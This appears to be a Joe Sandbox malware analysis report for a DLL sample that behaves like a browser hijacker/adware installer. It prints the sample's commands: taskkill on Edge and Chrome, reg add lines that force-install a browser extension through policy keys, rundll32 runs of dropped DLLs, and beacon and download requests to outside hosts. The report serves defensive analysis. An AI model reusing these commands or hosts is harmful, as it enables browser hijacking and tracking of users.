Edit tour

Windows Analysis Report
anuwhqTXGt.dll

Overview

General Information

Sample name:	anuwhqTXGt.dll renamed because original name is a hash value
Original sample name:	5321973ACCEA8905112E90EA77809091187252D2126ADB7F056E69A3CD1C83D3
Analysis ID:	1430161
MD5:	136233d478f9a3a8a809fc91ae7b9fa3
SHA1:	47693171dff1319486b413d384951293268d47ad
SHA256:	5321973accea8905112e90ea77809091187252d2126adb7f056e69a3cd1c83d3
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Changes security center settings (notifications, updates, antivirus, firewall)

Modifies Chrome's extension installation force list

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Uses cmd line tools excessively to alter registry or file data

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to create an SMB header

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Modifies existing windows services

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

svchost.exe (PID: 6660 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3092 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

loaddll32.exe (PID: 5668 cmdline: loaddll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 6540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4900 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 6380 cmdline: rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

taskkill.exe (PID: 7484 cmdline: TaskKill /IM msedge.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7624 cmdline: TaskKill /IM chrome.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7760 cmdline: reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Edge\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2.E /reg:32 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7812 cmdline: reg add HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist /v 1 /t REG_SZ /d liffkepbndfkkknedglekeghaegocokk;file:///C:/Windows/Installer/{f4b964cf-1b7a-aa88-03cb-3533f33b6987}/c23a32abd836342a70b7f6c1aa74947e.2 /reg:32 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7932 cmdline: rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 4296 cmdline: rundll32.exe C:\Users\user\Desktop\anuwhqTXGt.dll,get MD5: 889B99C52A60DD49227C5E485A016679)

taskkill.exe (PID: 7568 cmdline: TaskKill /IM msedge.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7696 cmdline: TaskKill /IM chrome.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7952 cmdline: rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7972 cmdline: rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 8060 cmdline: rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 8100 cmdline: rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7504 cmdline: rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 1916 cmdline: rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c install-run MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7348 cmdline: rundll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll",get MD5: 889B99C52A60DD49227C5E485A016679)

taskkill.exe (PID: 7860 cmdline: TaskKill /IM msedge.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8040 cmdline: TaskKill /IM chrome.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 3036 cmdline: rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5868 cmdline: rundll32 "C:\Users\Public\wss_tmp\cr_ws_2.dll" main --install-run MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7532 cmdline: rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7520 cmdline: rundll32 "C:\Users\Public\fbe\fbegbhf.dll" main -c uninstall MD5: EF3179D498793BF4234F708D3BE28633)

svchost.exe (PID: 8 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 6044 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 1264 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5172 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 4532 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7268 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

rundll32.exe (PID: 7992 cmdline: rundll32.exe "C:\Users\Public\wss_tmp\cr_ws_2.dll" main MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 8152 cmdline: "rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main JkoI28tA7 s54VVA9PL MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 6104 cmdline: rundll32.exe "C:\Users\Public\wss_tmp\cr_ws_2.dll" main MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 3088 cmdline: "rundll32.exe" "C:\Users\Public\wss_tmp\cr_ws_2.dll" main 5l2dLaWBz 8H16fjAVL MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7544 cmdline: rundll32.exe "C:\Users\Public\fbe\fbegbhf.dll" main MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Sigma Signatures

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 6660, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: serragatino.info	Virustotal: Detection: 9%	Perma Link
Source: embro.info	Virustotal: Detection: 9%	Perma Link
Source: https://embro.info/installer/get_timestamp.php1023	Virustotal: Detection: 9%	Perma Link
Source: https://embro.info/	Virustotal: Detection: 10%	Perma Link
Source: https://embro.info/installer/finish	Virustotal: Detection: 10%	Perma Link
Source: https://embro.info/installer/get_timestamp.php	Virustotal: Detection: 9%	Perma Link

Multi AV Scanner detection for submitted file

Source: anuwhqTXGt.dll

Virustotal: Detection: 11%

Perma Link

Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD977DF30 CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,	33_2_0000021BD977DF30
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD977EA80 CryptDestroyHash,	33_2_0000021BD977EA80
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97D3090 CryptCreateHash,	33_2_0000021BD97D3090
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD97CD5E8 CryptReleaseContext,_CxxThrowException,	33_2_0000021BD97CD5E8
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD9779640 CryptReleaseContext,	33_2_0000021BD9779640
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F2DF30 CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,	34_2_00000166D8F2DF30
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F83090 CryptCreateHash,	34_2_00000166D8F83090
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F29640 CryptReleaseContext,	34_2_00000166D8F29640
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F7D5E8 CryptReleaseContext,_CxxThrowException,	34_2_00000166D8F7D5E8
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D8F2EA80 CryptDestroyHash,	34_2_00000166D8F2EA80
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85347A0 CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,	39_2_000001C9C85347A0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B1420 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	39_2_000001C9C85B1420
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C853B778 CryptReleaseContext,	39_2_000001C9C853B778
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B2B90 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	39_2_000001C9C85B2B90
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85DCC06 CryptReleaseContext,_CxxThrowException,	39_2_000001C9C85DCC06
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85AE150 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	39_2_000001C9C85AE150
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85346E0 CryptDestroyHash,	39_2_000001C9C85346E0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B19A0 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	39_2_000001C9C85B19A0
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B1950 CryptAcquireContextA,CryptCreateHash,	39_2_000001C9C85B1950
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85B1A30 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	39_2_000001C9C85B1A30
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85AE019 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	39_2_000001C9C85AE019
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85ADFC0 CryptAcquireContextA,CryptCreateHash,	39_2_000001C9C85ADFC0

Source: C:\Windows\System32\rundll32.exe

Code function: mov dword ptr [r14+04h], 424D53FFh

39_2_000001C9C859CE00

Source: anuwhqTXGt.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.72:443 -> 192.168.2.7:49741 version: TLS 1.2

Source: anuwhqTXGt.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: d:\Projects\Visual Studio\NSIS Plugins\IpConfig\Output\Unicode\Plugins\IpConfig.pdb source: IpConfig.dll.15.dr, IpConfig.dll.6.dr, IpConfig.dll.7.dr
Source:	Binary string: d:\Projects\Visual Studio\NSIS Plugins\IpConfig\Output\Unicode\Plugins\IpConfig.pdb$ source: IpConfig.dll.15.dr, IpConfig.dll.6.dr, IpConfig.dll.7.dr
Source:	Binary string: t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb source: MoreInfo.dll.7.dr, MoreInfo.dll.15.dr, MoreInfo.dll.6.dr

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A4C6B lstrcpynW,FindFirstFileW,	6_2_046A4C6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A30A4 FindFirstFileW,FindClose,	6_2_046A30A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046A2367 DeleteFileW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,lstrcpynW,FindNextFileW,FindClose,	6_2_046A2367
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046C548A FindFirstFileExW,	6_2_046C548A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_046B3A83 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	6_2_046B3A83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E4C6B lstrcpynW,FindFirstFileW,	7_2_045E4C6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E30A4 FindFirstFileW,FindClose,	7_2_045E30A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045E2367 DeleteFileW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,lstrcpynW,FindNextFileW,FindClose,	7_2_045E2367
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0460548A FindFirstFileExW,	7_2_0460548A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_045F3A83 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_045F3A83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03452367 DeleteFileW,lstrcpynW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,lstrcpynW,FindNextFileW,FindClose,	15_2_03452367
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_034530A4 FindFirstFileW,FindClose,	15_2_034530A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03454C6B lstrcpynW,FindFirstFileW,	15_2_03454C6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_03463A83 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	15_2_03463A83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_0347548A FindFirstFileExW,	15_2_0347548A
Source: C:\Windows\System32\rundll32.exe	Code function: 33_2_0000021BD943F81C FindFirstFileExA,	33_2_0000021BD943F81C
Source: C:\Windows\System32\rundll32.exe	Code function: 34_2_00000166D885F81C FindFirstFileExA,	34_2_00000166D885F81C
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C66F0510 FindFirstFileExW,	39_2_000001C9C66F0510
Source: C:\Windows\System32\rundll32.exe	Code function: 39_2_000001C9C85CAC90 __doserrno,_errno,_invalid_parameter_noinfo,_errno,__doserrno,_getdrive,FindFirstFileExW,_errno,_errno,_wfullpath,_errno,_errno,_errno,_wfullpath,IsRootUNCName,GetDriveTypeW,free,__loctotime64_t,free,_wsopen_s,_fstat64,_close,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,__loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,__loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,__loctotime64_t,FindClose,__wdtoxmode,GetLastError,_dosmaperr,FindClose,GetLastError,_dosmaperr,FindClose,	39_2_000001C9C85CAC90

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 172.67.207.72 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 138.199.40.58 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 104.21.24.192 80	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 39_2_000001C9C8556D44 InternetCheckConnectionA,WaitForSingleObject,Sleep,WaitForSingleObject,

39_2_000001C9C8556D44

Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854395&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854396&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /license_1.28.763.1.dat HTTP/1.1Host: 4o985rhikfsof.b-cdn.net
Source: global traffic	HTTP traffic detected: GET /license_1.28.763.1.dat HTTP/1.1Host: 4o985rhikfsof.b-cdn.net
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /license_1.28.763.1.dat HTTP/1.1Host: 4o985rhikfsof.b-cdn.net
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854400&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854414&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854416&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info
Source: global traffic	HTTP traffic detected: GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854417&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1Host: serragatino.info

Source: Joe Sandbox View	IP Address: 138.199.40.58 138.199.40.58
Source: Joe Sandbox View	IP Address: 168.61.215.74 168.61.215.74

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /updateTask/index.php?v=e1.0.0.28&os_mj=10&os_mn=0&os_bitness=64&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&retry_version=1.0.0.28&retry_count=0 HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: embro.infoConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 168.61.215.74
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_046B1FA8 getaddrinfo,socket,connect,freeaddrinfo,WSACreateEvent,WSASend,WSAGetLastError,WSAWaitForMultipleEvents,WSACreateEvent,closesocket,closesocket,closesocket,WSARecv,WSAGetLastError,WSAWaitForMultipleEvents,WSAGetLastError,WSAGetOverlappedResult,WSAResetEvent,WSACloseEvent,WSACloseEvent,WSACloseEvent,closesocket,WSACleanup,closesocket,WSACleanup,

6_2_046B1FA8

Source: global traffic	HTTP traffic detected: GET /installer/get_timestamp.php HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/get_timestamp.php HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/get_timestamp.php HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cuser%5CDesktop%5CanuwhqTXGt%2Edll%2Cget&v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: embro.infoConnection: Keep-AliveCache-Control: no-cache
